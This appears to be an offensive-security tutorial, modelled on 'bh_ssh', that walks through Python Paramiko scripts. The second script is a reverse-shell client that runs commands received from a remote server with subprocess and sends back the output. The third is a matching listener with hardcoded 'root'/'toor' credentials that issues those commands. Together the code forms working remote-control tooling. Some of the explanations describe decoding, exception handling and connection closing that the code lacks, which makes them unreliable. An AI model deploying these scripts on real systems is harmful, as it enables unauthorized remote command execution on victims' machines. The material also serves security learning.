Paramiko is a Python library for SSH (Secure Shell) protocol implementation. It allows you to create secure connections to remote servers over SSH, execute commands, transfer files, and manage various aspects of the remote system.
import paramiko
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client can also support using key files
# client.load_host_keys('/home/user/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print(ssh_session.recv(1024))
return
ssh_command('192.168.100.131', 'junaid', 'lovesthepython', 'ClientConnected')Explanation:
-
Import Paramiko:
- The script begins by importing the
paramikomodule.
- The script begins by importing the
-
Function
ssh_command:- This function takes four parameters:
ip(IP address of the remote server),user(SSH username),passwd(SSH password), andcommand(the command to execute on the remote server). - Inside the function, an instance of the
SSHClientclass is created.
- This function takes four parameters:
-
Setting Host Key Policy:
- The script sets the host key policy to
AutoAddPolicy(), which automatically adds the server’s host key to the localknown_hostsfile. This is insecure and should be avoided in production for security reasons.
- The script sets the host key policy to
-
Connecting to the Remote Server:
- The
connectmethod is used to establish an SSH connection to the remote server. It takes the IP address, username, and password as parameters.
- The
-
Opening an SSH Session:
- The
get_transport().open_session()method is used to open an SSH session.
- The
-
Executing the Command:
- If the SSH session is active (
if ssh_session.active:), the specified command is executed on the remote server usingexec_command.
- If the SSH session is active (
-
Receiving and Printing Output:
- The script receives the output of the executed command (limited to 1024 bytes) using
ssh_session.recv(1024). It is then decoded from bytes to a UTF-8 string and printed.
- The script receives the output of the executed command (limited to 1024 bytes) using
-
Exception Handling:
- Any exceptions that occur during the execution of the script are caught, and an error message is printed.
-
Closing the SSH Connection:
- Finally, the
closemethod is called to close the SSH connection.
- Finally, the
-
Example Usage:
- The script concludes with an example usage of the
ssh_commandfunction, where it connects to the server with the specified IP, username, password, and executes the command'ClientConnected'.
- The script concludes with an example usage of the
SSH client to connect to an SSH server:
import subprocess
import paramiko
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# client can also support using key files
# client.load_host_keys('/home/user/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print(ssh_session.recv(1024)) # read banner
while True:
# get the command from the SSH server
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command.decode(), shell=True)
ssh_session.send(cmd_output)
except Exception as e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.100.122', 'Junaid', 'lovesthepython', 'ClientConnected')Explanation:
-
Interactive Shell Functionality:
- This script extends the previous example by creating an interactive shell over the SSH connection.
-
Sending and Receiving Commands:
- The initial command is sent to the server using
ssh_session.send(command). - The script then enters a main loop where it continuously receives commands from the SSH server using
ssh_session.recv(1024).decode().
- The initial command is sent to the server using
-
Executing Commands:
- Each received command is executed locally on the script’s machine using
subprocess.check_output(command, shell=True). - The output of the command is sent back to the SSH server using
ssh_session.send(cmd_output).
- Each received command is executed locally on the script’s machine using
-
Exception Handling:
- If an exception occurs during the execution of a command, the exception message is sent back to the SSH server.
-
Closing the SSH Connection:
- The
finallyblock ensures that the SSH connection is closed even if an exception occurs.
- The
-
Example Usage:
- The script concludes with an example usage of the
ssh_commandfunction, connecting to the server with the specified IP, username, password, and initiating the command'ClientConnected'.
- The script concludes with an example usage of the
SSH Server
The server listens for incoming connections, authenticates clients based on a hardcoded username and password, and allows the authenticated clients to execute commands on the server.
import socket
import paramiko
import threading
import sys
# using the server host key from the paramiko demo files
host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if username == 'root' and password == 'toor':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print("[+] Listening for connection...")
client, addr = sock.accept()
except Exception as e:
print("[-] Listen failed: " + str(e))
sys.exit(1)
print("[+] Got a connection!")
try:
# noinspection PyTypeChecker
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException:
print("[-] SSH negotiation failed.")
chan = bhSession.accept(20)
print("[+] Authenticated!")
print(chan.recv(1024))
chan.send("Welcome to bh_ssh!")
while True:
try:
command = input("Enter command: ").strip("\n")
if command != "exit":
chan.send(command)
print(chan.recv(1024).decode(errors="ignore") + "\n")
else:
chan.send("exit")
print("Exiting...")
bhSession.close()
raise Exception("exit")
except KeyboardInterrupt:
bhSession.close()
except Exception as e:
print("[-] Caught exception: " + str(e))
bhSession.close()
finally:
sys.exit(1)Explanation:
-
SSH Server Configuration:
- The script configures an SSH server using Paramiko.
- It listens on a specified IP address (
server) and port number (ssh_port).
-
Server Class (paramiko.ServerInterface):
- The
Serverclass is a custom implementation ofparamiko.ServerInterface. - It checks channel requests and authentication requests. In this case, it allows only the ‘session’ channel and authenticates a user with the username ‘root’ and password ‘toor’.
- The
-
Socket Setup and Connection:
- The script creates a socket, binds it to the specified IP and port, and starts listening for incoming connections.
- When a connection is received, it accepts the connection.
-
SSH Session Setup:
- The script creates a Paramiko
Transportobject (bhSession) for the accepted connection. - It adds the server’s host key (
host_key) to the session.
- The script creates a Paramiko
-
SSH Negotiation:
- The script starts the SSH server and accepts the connection.
-
Authenticated Channel Setup:
- Upon successful authentication, it accepts a channel (
chan) and prints an authentication message.
- Upon successful authentication, it accepts a channel (
-
Interactive Command Execution:
- The script enters a loop allowing the user to input commands.
- It sends the command to the client and prints the received output.
-
Exiting the Server:
- The user can enter ‘exit’ to close the SSH session and exit the server.